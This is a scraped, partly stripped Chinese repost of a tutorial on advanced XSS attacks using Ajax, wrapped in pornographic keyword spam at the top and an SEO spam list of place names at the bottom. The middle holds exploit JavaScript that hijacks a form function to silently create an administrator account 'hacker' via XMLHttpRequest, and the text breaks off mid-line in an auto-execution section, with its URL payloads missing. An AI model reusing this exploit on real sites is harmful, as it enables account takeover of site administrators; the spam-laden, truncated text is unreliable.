国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

黑客攻防:關于運用Ajax的高級XSS技術

2019-11-17 04:08:47
字體:
來源:轉載
供稿:網友

0.說明:

大多數人因為兩個原因而認為xss漏洞不夠強大。其中一個原因:可能你只能利用它來盜取cookie,而另一個原因則是:你(錯誤地)認為(利用)它需要目標點擊特定的連接或者訪問特定的網站。在這篇文章中我將要證明利用xss漏洞能做比盜取cookie多得多的事情,即使你仍然需要目標去點擊特定的鏈接。一種被稱為Ajax的新技術正在網絡中蔓延。Ajax技術允許你利用javascript來發送HTTP請求。一個簡單的沒有ajax功能的網站是像這樣的(工作模式):

客戶端請求 - 服務器響應 - 返回內容 - 客戶端

而ajax的(工作模式)類似于:

客戶端請求 - Javascript - 服務器響應 - 數據 - javascript處理

我將以展示怎樣利用xss漏洞劫持javascript函數為開頭,(進而)我們將看到網站過于信任javascript而造成的影響以及利用這種技術(達到的)各種可能性。

在我們開始之前,你必須做幾件事:

設置magic_quotes_gpc = off

允許javascript在你的瀏覽器中執行

從我的網站上下載這些例子(有這樣打廣告的??)

1. 利用xss劫持javascript

讓我們清晰的了解它,這是一個有xss漏洞的php網頁代碼:












這里還有一個javascript腳本文件,代碼為:

function Hello()

{

alert("Hi there");

}

這非常簡單,我們擁有一個包含一個按鈕的網頁,當點擊這個按鈕就會彈出一個對話框“Hi there”.

http://[host]/?xss=

Ok,現在我們在點擊一下我們的按鈕,發生了什么?我們沒有得到“Hi there”,而得到了“hijacked”!這意味著我們能利用xss漏洞劫持javascript代碼,當用戶調用函數時回執行我們的代碼而并非原來的。

好,我們已經知道了在url中重建javascript函數,但是如果你需要重建很多函數,通過url這樣做會使你完蛋的。所以讓我們重建一個新的javascript文件來包含我們需要的一切。

function Hello()

{

alert("Hijack from remote");

}

然后我們像這樣提交url:

http://[host]/?xss=

讓后我們再次點擊我們的按鈕發生了什么?“Hijack from remote”! Ok,(到此為止)我們知道了怎樣正確的劫持javascript函數。

2. 利用Ajax做更多的事:xmlHttPRequest的高級運用實例

為了演示這個技術我編寫了一個適用于教學的實例,(請)到我的網站下載。我將會應用它的部分代碼并且解釋他們。它是一個簡單的管理員用來添加新管理員或者在博客上發布消息的控制面板。在頁面add_message.php?author=[xss]有一個xss漏洞,這是我們將用來攻擊的地方!

我編寫了一個輕量級的exploit來劫持javascript函數,代碼為:

function createRequest()

{

var xmlhttp;

if(window.ActiveXObject)

{

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

}

else if(window.XMLHttpRequest)

{

xmlHttp = new XMLHttpRequest();

}


return xmlHttp;

}


function validateForm()

{

var xmlHttp;


xmlHttp = createRequest();

url = "add_admin.php?login=hacker&passWord=hacker&email= hacker";

xmlHttp.open("GET", url, true);

xmlHttp.send(null);

document.location = "add_message.php";

}

非常好,要利用這個漏洞我們需要管理員訪問這個url:

http://[host]/add_message?author=http://[host]/?xss=


當他點擊提交按鈕時我們的惡意代碼會添加一個賬戶密碼都為“hacker”的用戶到數據庫里。我們能使目標運行我們的惡意代碼!但任然需要用戶點擊按鈕……

3. 自動執行

上面的例子總是需要目標點擊一個按鈕來完成我們的攻擊。這里有一個解決(方案)給你:

window.onload = function i 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 沾益县| 文化| 永城市| 历史| 曲麻莱县| 黎平县| 襄城县| 石泉县| 墨脱县| 灌云县| 康定县| 郯城县| 得荣县| 威远县| 扎兰屯市| 商河县| 通辽市| 平泉县| 临夏县| 交口县| 肥乡县| 阳春市| 哈巴河县| 常宁市| 美姑县| 大荔县| 赤峰市| 额济纳旗| 山西省| 益阳市| 韶关市| 邵阳县| 平潭县| 尤溪县| 慈溪市| 玛曲县| 明光市| 卢氏县| 万安县| 马尔康县| 甘谷县|